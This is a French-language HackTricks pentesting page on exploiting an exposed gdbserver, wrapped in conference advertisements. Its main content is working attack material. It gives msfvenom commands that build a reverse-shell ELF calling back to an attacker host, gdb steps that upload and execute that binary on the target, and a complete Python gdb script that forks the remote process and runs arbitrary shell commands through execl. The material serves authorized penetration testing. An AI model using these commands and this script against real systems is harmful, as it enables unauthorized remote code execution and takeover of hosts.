hacktricks/network-services-pentesting/pentesting-remote-gdbserver.md

10 KiB

Pentester un serveur Gdb distant

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

DragonJAR Security Conference es un evento internacional de ciberseguridad avec plus d'une décennie d'existence qui se tiendra les 7 et 8 septembre 2023 à Bogotá, en Colombie. C'est un événement de contenu technique de haut niveau où les dernières recherches en espagnol sont présentées, attirant des hackers et des chercheurs du monde entier.
Inscrivez-vous dès maintenant sur le lien suivant et ne manquez pas cette grande conférence !:

{% embed url="https://www.dragonjarcon.org/" %}

Informations de base

gdbserver est un programme informatique qui permet de déboguer à distance d'autres programmes. Fonctionnant sur le même système que le programme à déboguer, il permet au débogueur GNU de se connecter depuis un autre système ; c'est-à-dire que seul l'exécutable à déboguer doit être résident sur le système cible ("cible"), tandis que le code source et une copie du fichier binaire à déboguer résident sur l'ordinateur local du développeur ("hôte"). La connexion peut être soit TCP, soit une ligne série.

Vous pouvez faire en sorte qu'un gdbserver écoute sur n'importe quel port et pour le moment, nmap n'est pas capable de reconnaître le service.

Exploitation

Téléchargement et exécution

Vous pouvez facilement créer une backdoor elf avec msfvenom, la télécharger et l'exécuter :

# Trick shared by @B1n4rySh4d0w
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf

chmod +x binary.elf

gdb binary.elf

# Set remote debuger target
target extended-remote 10.10.10.11:1337

# Upload elf file
remote put binary.elf binary.elf

# Set remote executable file
set remote exec-file /home/user/binary.elf

# Execute reverse shell executable
run

# You should get your reverse-shell

Exécuter des commandes arbitraires

Il existe une autre façon de faire exécuter des commandes arbitraires au débogueur via un script personnalisé en python pris à partir de ici.

# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
target extended-remote 192.168.1.4:2345

# Load our custom gdb command `rcmd`.
source ./remote-cmd.py

# Change to a trusty binary and run it to load it
set remote exec-file /bin/bash
r

# Run until a point where libc has been loaded on the remote process, e.g. start of main().
tb main
r

# Run the remote command, e.g. `ls`.
rcmd ls

Tout d'abord, créez localement ce script :

{% code title="remote-cmd.py" %}

#!/usr/bin/env python3

import gdb
import re
import traceback
import uuid


class RemoteCmd(gdb.Command):
    def __init__(self):
        self.addresses = {}

        self.tmp_file = f'/tmp/{uuid.uuid4().hex}'
        gdb.write(f"Using tmp output file: {self.tmp_file}.\n")

        gdb.execute("set detach-on-fork off")
        gdb.execute("set follow-fork-mode parent")

        gdb.execute("set max-value-size unlimited")
        gdb.execute("set pagination off")
        gdb.execute("set print elements 0")
        gdb.execute("set print repeats 0")

        super(RemoteCmd, self).__init__("rcmd", gdb.COMMAND_USER)

    def preload(self):
        for symbol in [
            "close",
            "execl",
            "fork",
            "free",
            "lseek",
            "malloc",
            "open",
            "read",
        ]:
            self.load(symbol)

    def load(self, symbol):
        if symbol not in self.addresses:
            address_string = gdb.execute(f"info address {symbol}", to_string=True)
            match = re.match(
                f'Symbol "{symbol}" is at ([0-9a-fx]+) .*', address_string, re.IGNORECASE
            )
            if match and len(match.groups()) > 0:
                self.addresses[symbol] = match.groups()[0]
            else:
                raise RuntimeError(f'Could not retrieve address for symbol "{symbol}".')

        return self.addresses[symbol]

    def output(self):
        # From `fcntl-linux.h`
        O_RDONLY = 0
        gdb.execute(
            f'set $fd = (int){self.load("open")}("{self.tmp_file}", {O_RDONLY})'
        )

        # From `stdio.h`
        SEEK_SET = 0
        SEEK_END = 2
        gdb.execute(f'set $len = (int){self.load("lseek")}($fd, 0, {SEEK_END})')
        gdb.execute(f'call (int){self.load("lseek")}($fd, 0, {SEEK_SET})')
        if int(gdb.convenience_variable("len")) <= 0:
            gdb.write("No output was captured.")
            return

        gdb.execute(f'set $mem = (void*){self.load("malloc")}($len)')
        gdb.execute(f'call (int){self.load("read")}($fd, $mem, $len)')
        gdb.execute('printf "%s\\n", (char*) $mem')

        gdb.execute(f'call (int){self.load("close")}($fd)')
        gdb.execute(f'call (int){self.load("free")}($mem)')

    def invoke(self, arg, from_tty):
        try:
            self.preload()

            is_auto_solib_add = gdb.parameter("auto-solib-add")
            gdb.execute("set auto-solib-add off")

            parent_inferior = gdb.selected_inferior()
            gdb.execute(f'set $child_pid = (int){self.load("fork")}()')
            child_pid = gdb.convenience_variable("child_pid")
            child_inferior = list(
                filter(lambda x: x.pid == child_pid, gdb.inferiors())
            )[0]
            gdb.execute(f"inferior {child_inferior.num}")

            try:
                gdb.execute(
                    f'call (int){self.load("execl")}("/bin/sh", "sh", "-c", "exec {arg} >{self.tmp_file} 2>&1", (char*)0)'
                )
            except gdb.error as e:
                if (
                    "The program being debugged exited while in a function called from GDB"
                    in str(e)
                ):
                    pass
                else:
                    raise e
            finally:
                gdb.execute(f"inferior {parent_inferior.num}")
                gdb.execute(f"remove-inferiors {child_inferior.num}")

            self.output()
        except Exception as e:
            gdb.write("".join(traceback.TracebackException.from_exception(e).format()))
            raise e
        finally:
            gdb.execute(f'set auto-solib-add {"on" if is_auto_solib_add else "off"}')


RemoteCmd()

{% endcode %}

DragonJAR Security Conference est un événement international de cybersécurité qui se tiendra les 7 et 8 septembre 2023 à Bogotá, en Colombie. C'est un événement de contenu technique de haut niveau où les dernières recherches en espagnol sont présentées, attirant des hackers et des chercheurs du monde entier.
Inscrivez-vous dès maintenant sur le lien suivant et ne manquez pas cette grande conférence !:

{% embed url="https://www.dragonjarcon.org/" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥